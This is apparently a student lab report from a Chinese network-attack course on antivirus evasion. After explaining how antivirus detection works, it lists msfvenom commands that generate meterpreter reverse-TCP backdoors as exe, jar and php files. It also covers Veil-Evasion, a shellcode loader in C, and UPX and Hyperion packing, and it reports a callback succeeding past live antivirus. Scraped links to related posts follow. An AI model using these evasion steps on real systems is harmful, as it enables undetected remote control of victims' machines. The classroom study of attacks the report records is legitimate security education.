2018-2019-2 网络对抗技术 20165314 Exp3 免杀原理与实践
免杀原理与实践说明
一、实验说明
- 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
- 任务二:通过组合应用各种技术实现恶意代码免杀(1分)
- 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
二、基础问题回答
- 问:杀软是如何检测出恶意代码的?
- 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
- 问:免杀是做什么?
- 通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。
- 问:免杀的基本方法有哪些?
- 改变特征码:
- 只有exe——加壳
- 有shellcode——利用shellcode生成可执行文件
- 有源代码——用其他语言重写再编译
- 改变行为:
- 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据等。
- 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。
- 改变特征码:
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1、在《Exp2:后门原理与实践》博客中,我们生成了一个后门文件。将其放在virscan.org中进行扫描,结果如下图所示:

可以看出,39款杀软中有28款报出了病毒。原因也可想而知,Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,马上就会加到特征库里了。
2、使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=xxx LPORT=xxx -f exe > met-encoded10.exe指令进行多次编码,再使用virscan.org进行扫描,结果如下所示:

见鬼了,多次编码之后反而报毒的软件多了一款????可见单纯依靠多次编码之后的后门,还是会被大多数杀软发现并清理的。
msfvenom生成jar文件
生成java后门程序使用命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=5314 x> bd_java.jar生成文件如下所示:

扫描结果如下:

msfvenom生成php文件
生成PHP后门程序使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=5314 x> 20165314_backdoor.php生成文件如下所示:

扫描结果如下:

使用veil-evasion生成后门程序及检测
1、启动evil,选择evasion,指定payload为第七号即c/meterpreter/rev_tcp.py,选择设置好回连的IP地址和端口号后,生成后门文件:

2、放到virscan.org上扫描一下:

比之前用msf生成的文件报毒率低,但还是会被杀软检测出来。
注入Shellcode并执行
1、生成的shellcode如下图所示:

2、利用shellcode编写一个C语言程序后门,在windows下编译运行后,测试其可用性:

可以成功获取了windows权限。
3、不过,还是会被杀毒软件发现。
进行加壳尝试
压缩壳
- 使用UPX对生成的后门程序加壳:

- 扫描结果也比较乐观:

7、测试仍然可用:

加密壳
- 将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/目录 - 进入目录
/usr/share/windows-binaries/hyperion/ - 输入命令
wine hyperion.exe -v bd_upxed.exe bd_upxed_hyperion.exe进行加壳


- 测试结果

任务二:通过组合应用各种技术实现恶意代码免杀
- 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀
- 任务成功截图:

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
受害者为win7虚拟机,使用金山毒霸,版本如下:

作案现场:

不在场证明:

至此,本周的三个实验,结束咯(束咯(咯~))!!
实验总结与体会
在本次实验中,比较麻烦的有两点:veil的安装,和虚拟机之间连通。我装的veil在展开过程中在16%、25%、44%都有卡住,我重复安装好;我的虚拟机安装好之后默认是采用nat连接,可以与主机连通,但是要将虚拟机改为桥接模式,并将要连通的两台虚拟机设置在同一子网下重启一下,就可以互ping成功,然后再根据新的ip地址重新生成后门。
本次实验我学会了如何通过msf、veil-evasion构造后门,以及对简单的后门进行加壳保护,但是我们现在学到的两种壳还是很容易被一些杀毒大厂识破。
开启杀软能绝对防止电脑中恶意代码吗?
肯定不行啊要有绝对用我们学这门课干啥呀?目前市面上的杀软采用的模式无非就是按照已知恶意代码的各方面特征进行匹配,好比按图索骥,这种方式只能对已有的恶意代码及由其衍生而来的次生代码进行甄别,但对于新开发的恶意代码,拥有全新的代码特征、行为模式,就无法被即时识别,我们学这门课的目的也就是从学习从攻击者角度进行思考、行动,从而减少恶意代码攻击成功的可能。
2018-2019-2 网络对抗技术 20165314 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
随机推荐
- 【C++】GSL(GNU Scientific Library) 的安装及在 Visual Studio 2017 中的使用
GSL 是 GNU 开发并维护的科学计算的库,其中包括: 复数 多项式的根 特殊函数 向量和矩阵 排列 排序 BLAS支持 线性代数 Eigensystems 快速傅立叶变换 正交 随机数 准随机序列 ...
- LOJ#2087 国王饮水记
解:这个题一脸不可做... 比1小的怎么办啊,好像没用,扔了吧. 先看部分分,n = 2简单,我会分类讨论!n = 4简单,我会搜索!n = 10,我会剪枝! k = 1怎么办,好像选的那些越大越好啊 ...
- Codeforces Round #554 (Div. 2)自闭记
A 签到 #include<bits/stdc++.h> using namespace std; ],t[],ans; int main() { scanf("%d%d&quo ...
- mysql的服务器构成
什么是实例 这里的实例不是类产生的实例对象,而是Linux系统下的一种机制 1.MySQL的后台进程+线程+预分配的内存结构. 2.MySQL在启动的过程中会启动后台守护进程,并生成工作线程,预分配内 ...
- python爬虫学习笔记
爬虫的分类 1.通用爬虫:通用爬虫是搜索引擎(Baidu.Google.Yahoo等)“抓取系统”的重要组成部分.主要目的是将互联网上的网页下载到本地,形成一个互联网内容的镜像备份. 简单来讲就是尽可 ...
- 四、Tensorflow的分布式训练
TensorFlow中的集群(cluster)指的是一系列能够针对图(Graph)进行分布式计算任务(task).每个任务是同服务(server)相关联的.TensorFlow中的服务会包含一个用于创 ...
- 【持续跟新】剑指Offer_Java实现
[第一题 ]二维数组中的查找 package sword_finger_offer; import org.junit.jupiter.api.Test; /** * 剑指offer习题一 二维数组中 ...
- 什么是Annotation
Annotation 被称为注解,在Java开发中是相当常见的,通过注解,我们可以简化代码提高开发效率.例如Override Annotation,这个应该算是在开发过程中使用最多的注解了.注解(An ...
- 编写高质量的Python代码系列(五)之并发与并行
用Python可以很容易就能写出并发程序,这种程序可以在同一时间做许多间不同的事情.我们也可以通过系统调用.子进程(subprocess)及C语言扩展来实现并行处理. 第三十六条: 用subproce ...
- 关于FastDBF库读写ArcGis dbf文件的小bug
该库托管于GitHub,地址:https://github.com/SocialExplorer/FastDBF 贡献者应该都是老外,所以…… 1.解析文件头,字段名部分如果有中文命名字段会出错 在D ...